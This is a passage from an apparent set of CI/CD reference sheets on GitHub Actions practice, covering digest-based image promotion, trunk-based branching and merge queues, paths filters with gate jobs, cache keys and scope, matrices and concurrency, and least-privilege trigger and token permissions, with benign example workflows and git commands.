    needs: [build, staging]
    runs-on: ubuntu-latest
    environment: production
    steps:
      - run: ./deploy.sh production "$IMAGE@$DIGEST"
        env:
          DIGEST: ${{ needs.build.outputs.digest }}

In practice

  • Docker Buildx — `docker buildx imagetools create` copies manifests between tags and registries without pulling layers, and `--prefer-index` decides whether a single manifest is wrapped in an index.
  • skopeo — `skopeo copy --preserve-digests` copies an image between registries and fails if the digest cannot be preserved.
  • crane — `crane tag IMG TAG` adds a tag to a remote image without downloading it, the cheapest form of promotion.
  • Amazon ECR — Offers a per-repository tag immutability setting that rejects a push to an existing tag with `ImageTagAlreadyExistsException`.
  • Argo CD — Deploys whatever image reference Git declares, so a digest in the manifest makes the promotion commit the audit record of what moved.

Trade-offs

Pros

  • What passed staging is byte-for-byte what reaches production
  • Promotion takes seconds because it copies a manifest instead of rebuilding
  • A digest in the deploy record answers what ran at a given time exactly
  • Rollback is a redeploy of an older digest that already exists

Cons

  • Environment-specific build-time values must be redesigned as runtime configuration
  • Digests are unreadable, so tags and release metadata are still needed for humans
  • Registry retention and garbage collection must keep every digest you may roll back to
  • A hotfix still needs a full build, so build speed remains the floor for emergency changes

What trunk-based development, short-lived branches and gitflow actually cost in merge conflicts and release latency, and what a merge queue and `merge_group` checks add.

The problem

A team on gitflow keeps `develop`, `release/2.4` and `hotfix/*` next to feature branches that live for three weeks. Every merge is a conflict triage, QA validates `release/2.4` while production gets a hotfix cherry-picked in a different order, and what ships is a combination nobody tested together. Even on a single main branch two pull requests can each pass alone and break `main` once both are merged.

How it works

  • Trunk-based development, per DORA, means each developer splits work into small batches and merges to trunk at least once a day; branches last no more than a few hours, and the difference from feature branches is scope. trunkbaseddevelopment.com is looser for short-lived branches: a couple of days, one developer per branch (two when pairing), and it puts the cut-off at about 15 people: smaller teams can commit straight to trunk, teams of 16 or more are more productive with short-lived branches checked by CI before they land. Merging to trunk daily is what makes continuous integration meaningful, because integration is what happens on trunk.
  • Branch age and divergence can be measured instead of argued about. `git for-each-ref --sort=committerdate` lists branches by last commit, and `git rev-list --left-right --count origin/main...origin/feature/x` prints commits behind and ahead (observed `1<TAB>1`). Conflict risk grows with both numbers; alert on branches older than your agreed limit.
  • The author of git-flow annotated the original post on 5 March 2020: web apps are typically continuously delivered and not rolled back, so for continuous delivery he suggests a much simpler workflow such as GitHub flow, and git-flow remains reasonable for explicitly versioned software with several versions in the wild. The cost of gitflow is the extra long-lived branches (`develop`, `release/*`, `hotfix/*`) and the merges between them.
  • Where release branches are needed, fix on trunk first and then `git cherry-pick -x` onto the release branch. `-x` appends `(cherry picked from commit <sha>)` to the message (observed), which makes it checkable that every release fix also exists on trunk. A fix that exists only on the release branch comes back as a regression in the next release.
  • Requiring branches to be up to date serialises merges, because each author rebases and waits again. A merge queue removes that wait: per the GitHub docs it builds a temporary `merge_group` branch from the latest base plus the pull requests ahead, runs the required checks on that combination, and merges first in, first out. Temporary branches use the prefix `gh-readonly-queue/{base_branch}`; a failing entry is removed and the group is rebuilt without it.
  • The workflow must trigger on `merge_group`, a separate event from `pull_request` and `push` (it has one activity type, `checks_requested`); otherwise, per the docs, the required check is never reported and the merge fails. The event accepts only `branches` filters, and actionlint 1.7.12 reports `"paths" filter is not available for merge_group event`, so a path-filtered required workflow still runs for every merge group.
  • Queue settings are throughput knobs: build concurrency (1 to 100 `merge_group` runs at once), minimum and maximum group size (1 to 100) with a wait timeout, a status check timeout, and merge method (merge, rebase or squash). A maximum group size is useful when each merge deploys and you do not want too many changes shipped together. A merge queue cannot be enabled on branch protection patterns containing `*`.
  • Branching and release cadence are linked through unfinished work. If `main` must always be deployable and incomplete features are merged, they need to be hidden behind flags; without flags the only place to hide them is a long-lived branch. Revert mechanics also depend on merge shape (see rollback-vs-roll-forward).

Examples

Measure branch age and divergence instead of arguing about them (output shape observed with git 2.43).

bash
# Which branches are old, and how far have they drifted from main?
git fetch --prune origin
git for-each-ref --sort=committerdate refs/remotes/origin \
  --format='%(committerdate:short) %(refname:short)'

for b in $(git for-each-ref refs/remotes/origin/feature --format='%(refname:short)'); do
  # prints "<behind><TAB><ahead>": commits only on main, commits only on the branch
  echo "$b $(git rev-list --left-right --count origin/main...$b)"
done

Release fixes land on trunk first; cherry-pick -x leaves a trail back to the original commit.

bash
# Fix on trunk first
git switch main
git commit -m "fix: reject negative quantity"

# Then carry the same change to the supported release line
git switch release/1.4
git cherry-pick -x main
git log -1 --format=%B
# fix: reject negative quantity
#
# (cherry picked from commit f16e35d971e584b019177e5e1db759f7ee5e1279)

The required check must also run for the merge group, otherwise the queue waits for a status that never arrives (actionlint 1.7.12 clean).

yaml
name: ci
on:
  pull_request:
    branches: [main]
  merge_group:
    types: [checks_requested]
    branches: [main]

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - run: make test

In practice

  • GitHub merge queue — Validates each pull request on a temporary `gh-readonly-queue/...` branch containing the base and the entries ahead of it, and merges in order.
  • GitLab merge trains — Queue merge requests so that each pipeline runs on the result of merging with the changes of the requests ahead of it.
  • Zuul — OpenDev's gating system tests changes speculatively on top of those ahead in the queue, so the tested tree is the tree that merges.
  • Prow Tide — Kubernetes project's merge automation that merges pull requests once required tests pass, batching candidates to reduce CI load.
  • Mergify — A hosted merge queue and rules engine for GitHub that combines queued pull requests into speculative checks before merging.

Trade-offs

Pros

  • Small, frequent merges keep conflicts small and show integration problems early
  • A single trunk removes the question of which branch holds the tested code
  • A merge queue tests the exact combination that will land, so `main` stays green
  • Authors stop rebasing and waiting repeatedly on a busy branch

Cons

  • Trunk-based work needs feature flags or branch by abstraction to hide unfinished features
  • It depends on fast CI and a review culture that returns feedback within hours
  • Every queue entry costs CI minutes for the combined branch on top of the pull request run
  • Supporting several released versions still needs release branches and cherry-picks

Run only what a change can affect with `paths` filters or an affected-graph tool, and keep required status checks from hanging on skipped workflows or passing falsely on skipped jobs.

The problem

A monorepo with twelve services runs every test suite on every pull request, 40 minutes for a README edit. Adding `paths:` filters makes docs-only pull requests cheap, until the required check `test` is never reported on them and the pull request sits pending forever. The usual next move is to drop the requirement, and then a pull request that really fails merges without anyone noticing.

How it works

  • A workflow-level `paths` filter runs the workflow when at least one changed file matches. Patterns match the whole path from the repository root; `*` does not cross `/` while `**` does; a later `!` pattern excludes and a later positive pattern re-includes, and a `!` pattern should come with at least one positive pattern (the docs state this rule for branch filters; paths follow the same pattern syntax). `paths` and `paths-ignore` cannot be combined for one event; actionlint 1.7.12 says `both "paths" and "paths-ignore" filters cannot be used for the same event "pull_request". note: use '!' to negate patterns`. Path filters are not evaluated for tag pushes.
  • The changed-file list is a three-dot diff for pull requests (topic branch against the merge base) and a two-dot diff for pushes. Per the docs, a push with more than 1,000 commits or a diff that times out always runs the workflow, while a diff with more than 3,000 files (300 on GitHub Enterprise Server before 3.22, as of 2026-10) whose matching files are not in the first batch does not run it.
  • Pitfall one: a workflow skipped by path filtering, branch filtering or a commit message leaves its checks in a Pending state, and a pull request requiring them is blocked from merging. The docs' advice is to avoid requiring workflows that can be skipped.
  • Pitfall two is the reverse: a job skipped by an `if` conditional reports Success and therefore satisfies a required check without having run, and a job whose `needs` failed is skipped and, per the docs, may not block merging. Skipped looks green in the pull request. Every check you require must be one that always reports and fails honestly.
  • The fix is a gate job: `if: always()` plus `needs` on every real job, failing when `contains(needs.*.result, 'failure') || contains(needs.*.result, 'cancelled')`. Results are `success`, `failure`, `cancelled` or `skipped`, so legitimately skipped jobs pass. Without `if: always()` the gate itself is skipped when a dependency fails, which counts as success. Requiring only the gate also removes the need to list every matrix check name in the branch rule.
  • Move the decision from workflow triggers to a first job: `dorny/paths-filter@v4` exposes one output per filter name with the string `'true'` or `'false'`, so downstream jobs use `if: needs.changes.outputs.api == 'true'`. For pull requests it reads the file list from the REST API and needs `pull-requests: read`; for `push` and `merge_group` it uses git on a checked-out repository (per its README). Include shared paths such as `libs/shared/**` in every consumer's filter.
  • Path filters know nothing about dependencies; a forgotten `libs/shared/**` entry is a stale green. Graph-based tools compute it: `nx affected -t test` maps changed files to projects and then to their dependents, and `turbo --filter` accepts Git ranges such as `[HEAD^1]` (per their docs). Treat the lockfile, root configuration and the workflow file itself as changes to everything.
  • Diff-based selection needs history. In a depth-1 clone with the base fetched at depth 1, `git diff --name-only origin/main...HEAD` failed with `fatal: origin/main...HEAD: no merge base` (observed, git 2.43). The two-dot form `git diff origin/main HEAD` did not fail but listed `services/web/app.ts`, a file changed only on `main`, giving the wrong set. Fetch enough history (`fetch-depth: 0` or deepen until the merge base is present) and use the three-dot form.

Examples

Workflow-level paths: cheap, but a docs-only pull request never gets a 'test' check, so this check must not be required (merge_group has no paths filter and always runs).

yaml
name: api-ci
on:
  pull_request:
    paths:
      - "services/api/**"
      - "libs/shared/**"
      - ".github/workflows/api-ci.yml"
  merge_group:

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - run: make -C services/api test

Decide in a first job, skip per service, and require only ci-ok: it always reports, passes when jobs were skipped, and fails on failure (actionlint 1.7.12 clean; GitHub-side behaviour per the docs, not run here).

yaml
name: ci
on:
  pull_request:
  merge_group:

permissions:
  contents: read

jobs:
  changes:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      pull-requests: read
    outputs:
      api: ${{ steps.filter.outputs.api }}
      web: ${{ steps.filter.outputs.web }}
    steps:
      - uses: actions/checkout@v7
      - id: filter
        uses: dorny/paths-filter@v4
        with:
          filters: |
            api:
              - "services/api/**"
              - "libs/shared/**"
            web:
              - "services/web/**"
              - "libs/shared/**"

  api:
    needs: changes
    if: needs.changes.outputs.api == 'true'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - run: make -C services/api test

  web:
    needs: changes
    if: needs.changes.outputs.web == 'true'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - run: make -C services/web test

  ci-ok:
    if: always()
    needs: [changes, api, web]
    runs-on: ubuntu-latest
    steps:
      - name: Fail when any needed job failed or was cancelled
        if: contains(needs.*.result, 'failure') || contains(needs.*.result, 'cancelled')
        run: exit 1

Compute the affected areas yourself; the three-dot form needs the merge base in the local history.

bash
# Changed top-level areas of a pull request (three dots = since the merge base)
git fetch --no-tags origin main
git diff --name-only origin/main...HEAD | cut -d/ -f1-2 | sort -u
# services/api

# Shallow clone without the merge base:
#   fatal: origin/main...HEAD: no merge base
# Fix: actions/checkout with fetch-depth: 0, or deepen until it exists
git fetch --deepen=50 origin main

In practice

  • GitHub Actions — `paths`, `paths-ignore`, required status checks and merge queues are where the Pending-versus-Success behaviour of skipped workflows and jobs matters.
  • dorny/paths-filter — An action that turns a file-pattern filter into per-filter `'true'`/`'false'` outputs so jobs, not workflows, are skipped.
  • Nx — `nx affected` uses Git to find changed files, the project graph to map them to projects, and then runs tasks on those projects and their dependents.
  • Turborepo — `turbo run --filter` selects packages by name, directory or Git range and respects the dependency graph between packages.
  • GitLab CI/CD — `rules:changes` limits a job to changed files, and merge request pipelines compare against the target branch.

Trade-offs

Pros

  • Docs-only and single-service changes get a verdict in minutes instead of running everything
  • A gate job gives branch rules one stable check name regardless of matrix or service count
  • Affected-graph tools follow real dependencies instead of hand-maintained path lists
  • CI cost scales with the size of the change, not the size of the repository

Cons

  • Hand-written path lists go stale silently; a missed shared path means a green build that tested nothing
  • Skipped checks are indistinguishable from passed ones in the pull request UI
  • Diff-based selection needs deeper clones and has size limits that make workflows run or not run unexpectedly
  • Graph tools need accurate project metadata and become another system to maintain

CI practice

How actions/cache keys, restore-keys, branch scope, the 10 GB budget and read-only low-trust triggers decide whether a cache hits, goes stale, or gets poisoned.

The problem

A pull request that changes one line still spends four minutes downloading the same 900 packages, and the cache that should prevent it either never hits or hits with stale contents. Another repository has a cache that reports a hit on every run but has not changed since March, because the key never varies. A third one slows down after adding caching, because restoring a 1.5 GB archive costs more than the install it replaces. Caching is a correctness problem (the key) and a budget problem (10 GB per repository) before it is a speed trick.

How it works

  • `actions/cache` restores in the main step and saves in a post step. An entry is found by `key` plus a version stamp derived from `path` and the compression tool. An exact match sets the output `cache-hit` to `true`; a match through `restore-keys` leaves it `false`. On a miss the post step uploads a new entry under `key` only if the job succeeded, so a failed job never populates the cache.
  • Entries are immutable: per the docs, "You cannot change the contents of an existing cache." The key must therefore change whenever the content should change, which is why dependency caches embed `hashFiles('package-lock.json')`. `hashFiles` returns an empty string when the pattern matches no file, so a wrong path quietly produces the constant key `npm-Linux-`, which hits forever and freezes the cache at its first contents.
  • `restore-keys` is an ordered list of prefixes, most specific first. Each prefix returns the most recently created entry whose key starts with it. The docs' example for a pull request on `feature` that targets `main` searches the full key, then each restore key in `feature`, then the same sequence in `main`. A prefix hit is a partial hit, so the install step must still run and fix the difference; skipping it on `cache-hit != 'true'` is only safe when the key covers every input.
  • Scope decides who can restore what. A run can restore caches from its own branch and from the default branch; a pull request can also restore from its base branch. Child and sibling branches are invisible, and a cache saved by a pull request run is stored under `refs/pull/N/merge`, so only re-runs of that pull request can restore it. A new branch therefore starts from the default branch's cache, which exists only if some run on the default branch saved one.
  • Budget as of 2026-10: 10 GB per repository by default (admins can raise it, and usage above 10 GB is billed on github.com), eviction in order of oldest last access, and removal of entries not accessed for 7 days. Creation is capped at 200 uploads per minute and download at 1500 per minute per repository. A matrix that saves a large entry per OS per branch exhausts the budget, and eviction by last access can remove the very default-branch entry that every new branch depends on.
  • Caches are readable by anyone who can open a pull request against the repository, so a cache path must never contain tokens or credentials. Only `push`, `workflow_dispatch`, `repository_dispatch`, `delete`, `registry_package`, `page_build` and `schedule` may create or overwrite entries in the default branch's scope; runs from `pull_request_target`, `issue_comment` and `workflow_run` are read-only there. The save step then fails with a warning and the job continues. Use `actions/cache/restore` in those workflows and let a `push` workflow own the writes. On github.com (not GHES) a `cache-mode` key can override this default per workflow or job; the docs warn that a write-capable value on these triggers reintroduces cache poisoning.
  • Cache the package manager's download store, not the installed tree. `setup-node` with `cache: npm` stores `~/.npm`, because `npm ci` removes an existing `node_modules` before installing. A cache only pays when restore plus extraction is faster than the download it replaces; compare the duration of the restore step with a cold install before trusting the idea.
  • Container layers are a separate cache. The buildx `gha` cache backend writes through the same GitHub cache API, so it is subject to the same size and rate limits (see the Docker sheet). `gh cache list` shows key, ref, size and last access, and `gh cache delete` removes a poisoned or oversized entry by key or id.

Examples

Lockfile-keyed dependency cache. The `restore-keys` prefix gives a partial hit when the lockfile changed, and the install step still runs. actionlint 1.7.12 clean; the cache service itself was not run here.

yaml
name: ci
on:
  pull_request:
  push:
    branches: [main]
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - uses: actions/cache@v6
        with:
          path: ~/.npm
          key: npm-${{ runner.os }}-${{ hashFiles('package-lock.json') }}
          restore-keys: |
            npm-${{ runner.os }}-
      - run: npm ci
      - run: npm test

A trusted `push` workflow owns the writes to the default branch scope; workflows with low-trust triggers only restore (`actions/cache/restore`). actionlint 1.7.12 clean.

yaml
name: warm-cache
on:
  push:
    branches: [main]
jobs:
  warm:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
      - run: npm ci
      - uses: actions/cache/save@v6
        with:
          path: ~/.npm
          key: npm-${{ runner.os }}-${{ hashFiles('package-lock.json') }}

Inspect and prune caches from the CLI. Flags checked against `gh cache list --help`; needs a token with access to the repository, not run here.

bash
# Largest caches first, then the entries under one key prefix
gh cache list --sort size_in_bytes --limit 10
gh cache list --key npm-Linux- --json id,key,ref,sizeInBytes,lastAccessedAt

# Caches written for one pull request live under its merge ref
gh cache list --ref refs/pull/123/merge

# Drop a poisoned or stale entry by key, or by id
gh cache delete npm-Linux-0123abcd
gh cache delete 1234567890

In practice

  • actions/cache — The primitive behind most dependency caching; v5 and later run on Node.js 24, and the `restore` and `save` sub-actions split the read and write halves.
  • actions/setup-node — The `cache: npm|yarn|pnpm` input wires up the package manager's store with a lockfile hash key, so most projects never write the key by hand.
  • docker/build-push-action — `cache-from: type=gha` and `cache-to: type=gha,mode=max` store BuildKit layers in the same GitHub cache service and count against the same limits.
  • GitLab CI — `cache:key:files` and `cache:fallback_keys` express the same idea; the cache lives on the runner unless a distributed cache is configured.
  • Bazel remote cache — Moves caching from archives keyed by lockfile to per-action results keyed by input hashes, which avoids whole-archive restore cost in large monorepos.

Trade-offs

Pros

  • Turns repeated downloads into one network fetch from storage next to the runner
  • Lockfile-derived keys make staleness a visible, reviewable rule
  • Branch scoping stops one branch from overwriting another's entries
  • Works with any tool through a path and a key, not only package managers

Cons

  • Entries are immutable, so every key change leaves an old entry behind until eviction
  • 10 GB per repository is shared by every workflow, matrix cell and Docker layer cache
  • A wrong or constant key hits silently and hides stale dependencies
  • Readable by anyone who can open a pull request, so it must not hold secrets

How strategy.matrix, include/exclude, fail-fast, dynamic matrices and concurrency groups with cancel-in-progress shape parallel runs and deployments.

The problem

A test job runs on two operating systems and two Node.js versions, one cell fails on the first run, and the other three are cancelled before they report anything. Two pushes to `main` ten seconds apart start two deployments that race for the same environment. A pull request gets six new pushes and all six runs finish, burning the minutes for five results nobody will read. The matrix, `fail-fast` and `concurrency` keys control these cases, but each has a default that surprises people.

How it works

  • `strategy.matrix` creates one job per combination of the listed arrays, and a matrix may generate at most 256 jobs per workflow run (an execution limit, as of 2026-10). Each combination is its own job on its own runner, so the keys are available as `matrix.<key>` in `runs-on`, `with`, `env` and `if`.
  • `include` and `exclude` edit the combination list. An excluded entry only has to be a partial match. An `include` entry that matches an existing combination adds keys to it; one that matches none becomes a new job. Per the docs, original matrix values are not overwritten, but added values can be. Observed on act 0.2.89: the 2x2 matrix in the first snippet expanded to four jobs (ubuntu 20, ubuntu 22, windows 22, and the included ubuntu 24 with `experimental: true`).
  • `fail-fast` defaults to `true` and applies to the entire matrix: the first failing cell cancels the cells still running or queued. Set `fail-fast: false` when you need every failure, and pair it with `continue-on-error: ${{ matrix.experimental == true }}` so an allowed-to-fail cell does not turn the run red. `max-parallel` caps simultaneous cells; by default GitHub maximizes parallelism, limited by runner availability.
  • A dynamic matrix comes from a previous job's output through `fromJSON(needs.plan.outputs.services)`. Observed on act 0.2.89: a three-element JSON array produced three jobs (`api`, `web`, `worker`). An empty array is an invalid matrix on GitHub (not run here; act 0.2.89 runs one job with an empty value instead), so gate the job with `if: needs.plan.outputs.services != '[]'`.
  • Every cell is a separate job and a separate status check, so a required check has to name each variant, and renaming a version in the matrix silently orphans the old check name. A final job with `needs: [test]` and `if: always()` that inspects `needs.test.result` gives branch protection one stable name to require.
  • `concurrency` takes a `group` and optional `cancel-in-progress`. Per the docs, at most one run or job is `running` and by default at most one is `pending` per group, and a new arrival replaces the existing pending one. `cancel-in-progress: true` also cancels the running one. Group names are case insensitive. A workflow-level group expression can use only the `github`, `inputs` and `vars` contexts; job-level `concurrency` can also use `needs`, `strategy` and `matrix`.
  • Typical groups: `${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}` for per-PR cancellation, with `github.head_ref || github.run_id` as the documented fallback for events that lack a PR. Include `github.workflow`, or workflows that share a group cancel each other. A reusable workflow reports its caller's name in `github.workflow`, so using that context in the same group string in both caller and called workflow cancels the caller.
  • Deploy workflows normally want `cancel-in-progress: false`: a half-finished deploy should be allowed to finish, and the pending slot keeps only the newest waiting run, so intermediate commits are skipped. The docs also describe `queue: max` for github.com and GitHub Enterprise Cloud (up to 100 pending runs, not combinable with `cancel-in-progress: true`; as of 2026-10 the docs source does not include it for GHES). actionlint 1.7.12 does not know the key yet and rejects it (`unexpected key "queue" for "concurrency" section`), so a linted workflow cannot use it until the linter catches up.

Examples

Matrix with `include`, `exclude`, `fail-fast: false`, an experimental cell that may fail, and per-PR cancellation that never cancels runs on `main`. actionlint 1.7.12 clean; expansion to four jobs observed on act 0.2.89 with the same matrix and echo-only steps.

yaml
name: test
on:
  pull_request:
  push:
    branches: [main]
concurrency:
  group: test-${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
  test:
    runs-on: ${{ matrix.os }}
    timeout-minutes: 15
    strategy:
      fail-fast: false
      max-parallel: 4
      matrix:
        os: [ubuntu-latest, windows-latest]
        node: [20, 22]
        include:
          - os: ubuntu-latest
            node: 24
            experimental: true
        exclude:
          - os: windows-latest
            node: 20
    continue-on-error: ${{ matrix.experimental == true }}
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: ${{ matrix.node }}
      - run: npm ci
      - run: npm test

Dynamic matrix from a planning job, guarded against an empty list. actionlint 1.7.12 clean; run on act 0.2.89 in host mode, which produced three build jobs.

yaml
name: affected
on:
  pull_request:
jobs:
  plan:
    runs-on: ubuntu-latest
    outputs:
      services: ${{ steps.set.outputs.services }}
    steps:
      - id: set
        run: echo 'services=["api","web","worker"]' >> "$GITHUB_OUTPUT"
  build:
    needs: plan
    if: ${{ needs.plan.outputs.services != '[]' }}
    runs-on: ubuntu-latest
    strategy:
      matrix:
        service: ${{ fromJSON(needs.plan.outputs.services) }}
    steps:
      - run: echo "building ${{ matrix.service }}"

Serialize deployments without killing a running one: the running deploy finishes and only the newest waiting run keeps the pending slot. actionlint 1.7.12 clean.

yaml
name: deploy
on:
  push:
    branches: [main]
concurrency:
  group: deploy-production
  cancel-in-progress: false
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - run: echo "deploying ${{ github.sha }}"

In practice

  • GitHub Actions — Limits a matrix to 256 jobs per run and queues jobs when the plan's concurrent-job limit is reached (20 on Free, 40 on Pro, 60 on Team, 500 on Enterprise for standard hosted runners, as of 2026-10).
  • GitLab CI — `parallel:matrix` allows up to 200 permutations; `resource_group` acts as a semaphore for deployments and `interruptible` marks jobs that a newer pipeline may cancel.
  • actions/setup-node — Typically driven from a `node-version` matrix to test each supported Node.js line without separate jobs per version.
  • Playwright — Sharding with `--shard=1/4` splits a test suite across matrix cells, with a blob report merge job afterwards.
  • act — Expands matrices locally, which makes `include` and `exclude` results visible before pushing.

Trade-offs

Pros

  • One job definition covers every supported version and platform
  • `fail-fast` saves minutes on a change that is plainly broken
  • Concurrency groups cancel obsolete PR runs and serialize deployments
  • A dynamic matrix tests only the services a change touched

Cons

  • `fail-fast: true` hides failures in the cancelled cells until the next run
  • Every cell is a separate check, so required checks and renames need care
  • A pending slot of one drops intermediate runs, which is wrong for audit-style workflows
  • Wide matrices multiply cache writes and runner minutes

What pull_request, pull_request_target, workflow_run, schedule and dispatch events check out, which secrets and token permissions they get, and how to write a deny-by-default permissions block.

The problem

A workflow labels pull requests from forks and works fine in testing, then fails in production with `Resource not accessible by integration` because the token it received was read-only. Another workflow runs on `pull_request_target` and checks out the PR head to run tests, which hands a fork's code the repository's secrets. The trigger decides which commit the workflow file comes from, whether secrets exist, and how powerful the `GITHUB_TOKEN` is, so choosing a trigger is a security decision before it is a convenience.

How it works

  • `pull_request` runs the workflow file from the PR's merge commit: `GITHUB_SHA` is the last merge commit and `GITHUB_REF` is `refs/pull/N/merge`; the head commit is `github.event.pull_request.head.sha`. Default activity types are `opened`, `synchronize` and `reopened`, and the workflow does not run while the PR has a merge conflict.
  • For fork PRs, per the docs, secrets are not passed except `GITHUB_TOKEN`, which is read-only; Dependabot PRs are treated as if they came from a fork. On public repositories, by default all first-time contributors need a maintainer's approval before workflows run. Fork code can edit the workflow file itself, which is why withholding secrets is the control, not trusting the YAML.
  • `pull_request_target` uses the base repository's default branch for both the workflow file and an `actions/checkout` without `ref`. It receives secrets and a read/write token, runs even with merge conflicts and regardless of fork approval settings, and is meant for labeling and commenting. Older GHES releases (before 3.20) use the base branch of the PR instead. The pwn request appears when a step checks out the PR head and runs it.
  • Token permissions are computed in order: the enterprise/organization/repository default, then workflow-level `permissions`, then job-level `permissions`, and finally, for a fork PR event other than `pull_request_target`, every `write` is lowered to `read` unless the repository enabled "Send write tokens to workflows from pull requests". The restricted default is `read` for `contents` and `packages` only; the permissive default is read and write for all. Repositories created in a personal account start restricted; repositories created in an organization inherit its setting, and an organization that picked restricted disables the permissive option for its repositories.
  • Setting any scope in `permissions` sets every unlisted scope to `none`, and `permissions: {}` disables all of them. Levels are `read`, `write` and `none` (`write` includes `read`), except `id-token`, which accepts only `write` or `none`. Shortcuts are `read-all` and `write-all`. Put `permissions: {}` or a minimal block at the top of every workflow and grant extra scopes per job, so a compromised step in one job cannot use another job's scopes.
  • `workflow_run` fires when another workflow is requested or completed, regardless of its conclusion, so filter on `github.event.workflow_run.conclusion`. It runs from the default branch and "is able to access secrets and write tokens, even if the previous workflow was not", which makes it the sanctioned bridge from an unprivileged PR build to a privileged comment step. Artifacts from the triggering run are untrusted data. Chains stop early: in the docs' example A to F, workflows E and F do not run.
  • `workflow_dispatch`, `schedule` and `repository_dispatch` only work from the default branch's copy of the file (the "Run workflow" button appears only then). `schedule` runs the default branch, has a 5-minute minimum interval, is delayed at the start of every hour under load, and in a public repository is disabled after 60 days without repository activity. `repository_dispatch` limits `event_type` to 100 characters and `client_payload` to 10 top-level properties and 65,535 characters.
  • Events created with `GITHUB_TOKEN` do not start new workflow runs, with the exception of `workflow_dispatch` and `repository_dispatch`; on github.com the docs add that `pull_request` runs (`opened`, `synchronize`, `reopened`) for a PR created or updated by the token are created but wait for approval by a user with write access (a rollout that is not documented for GHES as of 2026-10). A bot that opens a PR with the default token therefore does not get CI on it automatically; use a GitHub App token or a personal token for that, and `merge_group` needs its own trigger or required checks never report on queued merges.

Examples

Deny-by-default token: `permissions: {}` at the top, `contents: read` for the test job, and `pull-requests: write` only for the comment job, which skips fork PRs where the token would be read-only. actionlint 1.7.12 clean.

yaml
name: least-privilege
on:
  pull_request:
  push:
    branches: [main]
permissions: {}
jobs:
  test:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@v7
      - run: npm ci && npm test
  comment:
    if: ${{ github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository }}
    needs: test
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - run: gh pr comment "$PR" --repo "$REPO" --body "tests passed"
        env:
          GH_TOKEN: ${{ github.token }}
          PR: ${{ github.event.pull_request.number }}
          REPO: ${{ github.repository }}

A safe use of `pull_request_target`: it never checks out or executes PR code and only calls the API with values passed through `env`. actionlint 1.7.12 clean; the trigger's runtime behavior is per the docs, not run here.

yaml
name: label-pr
on:
  pull_request_target:
    types: [opened, reopened, synchronize]
permissions: {}
jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Label by size using only the API
        env:
          GH_TOKEN: ${{ github.token }}
          PR: ${{ github.event.pull_request.number }}
          REPO: ${{ github.repository }}
        run: |
          files=$(gh api "repos/$REPO/pulls/$PR/files" --jq 'length')
          if [ "$files" -gt 50 ]; then
            gh pr edit "$PR" --repo "$REPO" --add-label "size/large"
          fi

The privileged half of the two-workflow pattern. A separate unprivileged workflow named `build-pr` runs on `pull_request` and uploads `report.json`; this one reads it as data only. actionlint 1.7.12 clean, not run here.

yaml
name: report-pr
on:
  workflow_run:
    workflows: [build-pr]
    types: [completed]
permissions:
  actions: read
  pull-requests: write
jobs:
  comment:
    if: ${{ github.event.workflow_run.event == 'pull_request' && github.event.workflow_run.conclusion == 'success' }}
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v8
        with:
          name: report
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ github.token }}
      - name: Treat the artifact as data, never execute it
        env:
          GH_TOKEN: ${{ github.token }}
          REPO: ${{ github.repository }}
          PR: ${{ github.event.workflow_run.pull_requests[0].number }}
        run: |
          failed=$(jq '.stats.failures' report.json)
          gh pr comment "$PR" --repo "$REPO" --body "failures: $failed"

In practice

  • GitHub Actions — Defines the token model: default permissions from enterprise, organization and repository settings, narrowed by `permissions:` and lowered to read-only for fork pull requests.
  • actions/labeler — Labels pull requests from file globs; documented usage with `pull_request_target` is safe only because it reads the configuration from the base branch and never runs PR code.
  • Dependabot — Its pull requests are treated like fork PRs, so secrets and write tokens need a separate Dependabot secrets store rather than repository secrets.
  • actionlint — Type-checks `on:` filters, `permissions:` keys and `${{ }}` expressions, and flags untrusted inputs used inside `run:`.
  • GitHub merge queue — Runs the required checks against a temporary merge group ref, which only works if the workflow listens for `merge_group`.

Trade-offs

Pros

  • A deny-by-default `permissions:` block limits what a compromised step can do
  • Fork PRs run without secrets, so outside contributors cannot exfiltrate them
  • `workflow_run` separates untrusted building from privileged reporting
  • Defaults can be tightened once per organization instead of per workflow

Cons

  • Read-only tokens on fork PRs break comment and status steps that worked on same-repo PRs
  • Every job needs its own permission block, which is easy to forget when copying workflows
  • `pull_request_target` is easy to misuse and a common source of supply-chain incidents
  • Default-branch-only triggers cannot be tested from a feature branch before merging

How workflow_call passes inputs, secrets and outputs, which keywords a calling job allows, the nesting limits and permission cap, and when a composite action is the better tool.

The problem

Twelve services copy the same 80-line build workflow, and a fix to the cache key has to be pasted into twelve repositories, three of which are forgotten. A shared template solves the duplication but introduces its own questions: which token permissions does the called workflow get, how do secrets reach it, what happens when someone force-pushes the branch the callers point at, and how deep can the chain go. `workflow_call` and composite actions are two different tools for this.

How it works

  • A reusable workflow declares `on: workflow_call` with typed `inputs` (`string`, `boolean`, `number`), `secrets` and `outputs`. A caller invokes it at job level with `uses:`, never from a step, so the called workflow runs as its own jobs on its own runners, and the caller cannot use `GITHUB_ENV` to pass values into its own steps.
  • Reference forms: `./.github/workflows/x.yml` (same repository, same commit as the caller) and `{owner}/{repo}/.github/workflows/x.yml@{ref}` where the ref is a SHA, a release tag or a branch. If a tag and a branch share a name, the tag wins. The docs call the commit SHA the safest option. A branch ref means a push to that branch changes every caller at once.
